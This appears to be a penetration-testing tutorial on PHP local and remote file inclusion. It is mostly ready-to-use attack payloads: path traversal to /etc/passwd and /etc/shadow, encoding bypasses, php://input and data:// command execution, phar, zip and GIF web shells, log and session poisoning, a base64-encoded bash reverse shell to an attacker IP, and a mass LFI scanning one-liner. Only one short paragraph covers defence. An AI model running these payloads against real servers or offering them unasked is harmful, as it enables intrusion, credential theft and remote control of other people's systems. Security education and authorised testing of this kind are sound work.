0x01 Overview#
What is a File Inclusion Vulnerability
A file inclusion vulnerability refers to the failure to properly validate the incoming file name when using PHP functions to include files, allowing an attacker to construct malicious parameters that can manipulate and read files that should not be accessed, or even inject malicious code into the server.
The Dangers of File Inclusion Vulnerabilities
- Accessing and reading sensitive files, such as configuration files, password files, etc.
- Executing arbitrary code, including system commands and remote code, thereby controlling the server.
- Injecting malicious code, such as cross-site scripting (XSS), to steal user data or hijack user sessions.
PHP Functions Related to File Inclusion Vulnerabilities
include()
include_once()
require()
require_once()
Differences Between include() and require()
- include() issues a warning when it fails to include a file, and the script will
continue executing
; whereas require() issues a fatal error when it fails to include a file, and the script willstop executing
. - include() can include the same file multiple times, while require() can only include it once; otherwise, it will issue a fatal error.
Differences Between include() and include_once()
- include() can include the same file multiple times, while include_once() will include it only once; if it has already been included, it will not be included again.
0x02 Classification of File Inclusion#
Local file inclusion can only include files that are local to the server, while remote file inclusion can include both local files and files from remote websites.
Exploitation of Local File Inclusion
Reading System Files
http://example:28050/control/more/file_include.php?filename=../../../../../../etc/passwd
Both Windows and Linux can attempt to read some of the following contents, listing some common sensitive file path information.
# Windows System
c:\boot.ini
c:\windows\system32\inetsrv\MetaBase.xml
c:\windows\repair\sam
c:\ProgramFiles\mysql\my.ini
c:\ProgramFiles\mysql\data\mysql\user.MYD
c:\windows\php.ini
# Linux/Unix System
/etc/passwd
/etc/shadow
/usr/local/app/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhost.conf
/usr/local/app/php5/lib/php.ini
/etc/httpd/conf/httpd.conf
/etc/my.conf
Can be combined with Burp Suite for sensitive file brute-forcing.
Or use directory scanning tools like Gobuster.
gobuster fuzz -u "http://<target>/static/ueditor/php/controller.php?action=proxy&remote=file://FUZZ" -w "/pentesting/web-basic/p12-字典收集/pentesting/web/payloads/lfi-rfi/lfi-linux-list.txt" --exclude-length 2176 -H 'Header1: 200' -b 400
When the included file contains PHP code, regardless of the file extension, it will be executed as a PHP file, such as if the content of 1.txt is <?php phpinfo(); ?>
.
http://127.0.0.1:8999/index.php?file=1.txt
To read server code, PHP pseudo-protocols like php://filter
can be used, where the content read is base64.
http://127.0.0.1:8999/index.php?file=php://filter/convert.base64-encode/resource=index.php
If it is a remote file inclusion, the following two configurations in php.ini need to be enabled, both set to On:
Including remote server files, such as if the content of 1.txt is <?php phpinfo(); ?>
.
http://127.0.0.1:8999/index.php?file=http://192.168.101.173:8080/1.txt
Remote file inclusion can be achieved by starting a web service on the remote server using Python3, allowing the target server to download files hosted on the remote server.
python -m SimpleHTTPServer <port> # python2
python3 -m http.server <port> # python3
Accessing web shell.
http://<target>/index.php?page=http://vps_ip/webshell.php&cmd=id
FTP protocol can also be used to download.
python3 -m pyftpdlib -p 21
Accessing web shell.
http://<target>/index.php?page=ftp://vps_ip/webshell.php&cmd=id
0x03 Bypassing File Inclusion Vulnerabilities#
- %00 truncation (PHP version less than 5.3.4, and GPC disabled)
http://192.168.100.157/fi/02.php?filename=/etc/passwd%00
- Using remote file inclusion
Can use ? or # to bypass suffix restrictions.
http://192.168.100.157/fi/05.php?filename=http://vps_ip:9999/test.txt%23
- Encoding bypass
Using URL encoding:
..%2e%2e%2f ..%2f %2e%2e/
..%2e%2e%5c ..%5c %2e%2e\
Double URL encoding
../%252e%252e%252f
..\%252e%252e%255c
Container/server encoding methods
../..%c0%af %c0%ae%c0%ae/
..\..%c1%9c
0x04 PHP Pseudo Protocols#
PHP provides various input/output (IO) streams that allow access to PHP's input and output streams, standard input/output, and error descriptors, as well as temporary file streams backed by memory or disk and filters that can manipulate other read/write file resources.
- php://filter
# base64
http://<target>/index.php?page=php://filter/read=convert.base64-encode/resource=../../../<directory>/<file>
# ROT13
http://<target>/index.php?page=php://filter/read=string.rot13/resource=../../../<directory>/<file>
http://127.0.0.1:8999/index.php?file=php://filter/convert.base64-encode/resource=index.php
Returns base encoded content.
- php://input
POST /index.php?page=php://input
Host: <target>
<?php system('whoami'); ?>
- data://
Requires enabling allow_url_include
and allow_url_fopen
.
http://192.168.100.157/fi/10.php?filename=data://text/plain,<?php phpinfo();?>
http://192.168.100.157/fi/10.php?filename=data://text/plain,<?php echo base64_encode(file_get_contents("10.php"));?>
http://192.168.100.157/fi/10.php?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
- zip protocol
The zip://
stream is a PHP feature that allows access to files within compressed files. When combined with file inclusion functions, the zip://
stream is parsed as a PHP file, executing the code within it, leading to the risk of arbitrary code execution.
When using the zip://
stream, an absolute path must be provided, and the compressed file and the file content within it must be separated using the # symbol, which needs to be URL encoded (replacing # with %23
).
test.zip contains test.txt
http://127.0.0.1/index.php?test=zip:///var/www/html/test.zip%23test.txt
- phar protocol
Prepare a PHP file.
# webshell.php
<?php
$phar = new Phar('webshell.phar');
$phar->startBuffering();
$phar->addFromString('webshell.txt', '<?php system($_GET["cmd"]); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();
?>
Generate the phar file.
php --define phar.readonly=0 webshell.php
mv webshell.phar webshell.jpg
Upload the webshell.jpg file to the target web server and execute it from a recognized local file inclusion (LFI).
http://<target>/index.php?page=phar://webshell.jpg/webshell.txt&cmd=id
- file:// (absolute file path)
file://
is used to access the local file system and is not affected by allow_url_fopen and allow_url_include.
Usage is as follows:
http://127.0.0.1:8999/index.php?file=file:///etc/passwd
Conditions for Using Pseudo Protocols
Protocol | Tested PHP Version | allow_url_fopen | allow_url_include | Usage | |
---|---|---|---|---|---|
file | >= 4.0.0 | On/off | On/off | ?file=file:///etc/passwd | |
gopher | >= 4.3.0 | On | Off | ?file=gopher://example.com:test | |
http | >= 4.0.0 | On | Off | ?file=https://example.com/test | |
ftp | >= 4.0.0 | On | Off | ?file=ftp://example.com/file.txt | |
data | >= 5.2.0 | On | On | ?text=data:text/plain,<?php phpinfo();?> | |
phar | >= 5.3.0 | On | Off | ?file=phar://path/to/file.phar/test.php | |
php://filter | >= 5.2.0 | On/off | On/off | ?file=php://filter/read=string.rot13/resource=example.php or php://filter/read=convert.base64-encode/resource=./index.php | |
expect | >= 4.3.0 | On | Off | ?cmd=expect://id | |
php://input | >= 5.2.0 | On/off | On/off | ?file=php://input post data: <?php phpinfo();?> | |
zip | >= 5.2.0 | On/off | On/off | ?file=zip:///var/www/html/file.zip%23shell.txt |
0x05 Protection Against File Inclusion Vulnerabilities#
To avoid file inclusion vulnerabilities, developers should always strictly validate and filter user input, including restricting file paths and filtering special characters. Additionally, it is best to place sensitive files outside the server or use access control lists (ACLs) to restrict access to sensitive files.
0x06 Others#
1. File Inclusion Leading to RCE#
- Using the php://input protocol
POST /index.php?page=php://input
Host: <target>
<?php system('whoami'); ?>
or
POST /index.php?page=php://input&cmd=cat /etc/passwd
<?php echo(shell_exec($_GET['cmd']));?>
- Using the data protocol
http://<target>/index.php?page=data://text/plain,<?php system('whoami'); ?>
http://jtongic.com:83/start/index.php?page=data:text/plain,<?php system('ls ../');?>
http://<target>/index.php?page=data://text/plain;base64,<base64>
- File inclusion executing web shell commands
# Prepare a web shell and base64 encode it
echo '<?php system($_GET['cmd']); ?>' | base64
# The encoded content is as follows
PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pgo=
# Final payload
http://<target>/index.php?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pgo=&cmd=id
- File inclusion reverse shell
# Reverse shell (Bash)
bash -c 'bash -i >& /dev/tcp/<IP-Address>/<port> 0>&1'
# Reverse shell (Bash) base64 encoded
YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC97SVAtQWRkcmVzc30ve3BvcnR9IDA+JjEn
# Final payload
http://<target>/index.php?page=data://text/plain;base64,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC97SVAtQWRkcmVzc30ve3BvcnR9IDA+JjEn
- File upload combined with zip protocol
Prepare a zip archive containing a PHP file.
echo '<?php system($_GET['cmd']); ?>' > webshell.php
zip webshell.zip webshell.php
Upload the webshell.zip file to the target web server and reference files within the webshell.zip using the # symbol.
http://<target>/index.php?page=zip://webshell.zip#cmd.php&cmd=id
http://<target>/index.php?page=zip://webshell.zip%23cmd.php&cmd=id
- File upload combined with images
Prepare an image web shell.
echo 'GIF89a<?php system($_GET["cmd"]); ?>' > webshell.gif
Upload the image to the server and include it.
http://<target>/index.php?page=webshell.gif&cmd=id
If you can control the contents on the server's disk (like server logs), it can be escalated to command execution.
- File inclusion log RCE
Linux log file paths.
/var/log/apache2/access.log
/var/log/nginx/access.log
/var/log/sshd.log
/var/log/mail
/var/log/vsftpd.log
Write the web shell to the log; just access any page and include the web shell in the request.
GET /index.php?page=<log-file>
Host: <target>
User-Agent: <?php system($_GET['cmd']); ?>
Accessing the web shell.
http://<target>/index.php?page=<log-file>&cmd=id
- PHP session RCE
The PHP session storage paths are as follows:
/var/lib/php/sessions/
C:\Windows\Temp
General process:
Assuming the PHPSESSID
value is ujllfv2j2j2sm7ae11is401hvdf9
.
http://<target>/index.php?page=<session-files-path>/sess_ujllfv2j2j2sm7ae11is401hvdf9
Modify any value stored in the session as follows:
<?php system($_GET['cmd']); ?>
Accessing the web shell to execute commands.
http://<target>/index.php?page=<session-files-path>/sess_ujllfv2j2j2sm7ae11is401hvdf9&cmd=id
Example:
SESSION["username"]= $_GET['iwebsec'];
The value of the iwebsec variable is stored in the session. When accessing http://192.168.100.157/fi/03.php?iwebsec=iwebsec, the session value will be stored in the /var/lib/php/sessions/ directory.
The session can be viewed in the browser's F12-network, and the session content includes: sess_PHPSESSID.
After writing the content to the session, the session file can be included through the file inclusion vulnerability.
Executing commands.
2. One Command File Inclusion#
gau $target | gf lfi | qsreplace "/etc/passwd" | xargs -I % -P 25 sh -c 'curl -s "%" 2>&1 | grep -q "root:x" && echo "VULN! %"'
- gau: getallurls, to obtain known URLs.
- gf: filter out corresponding content.
- qsreplace: replaces all query string values on standard input with user-provided values, outputting each combination of query string parameters for each host and path only once.
3. Tools#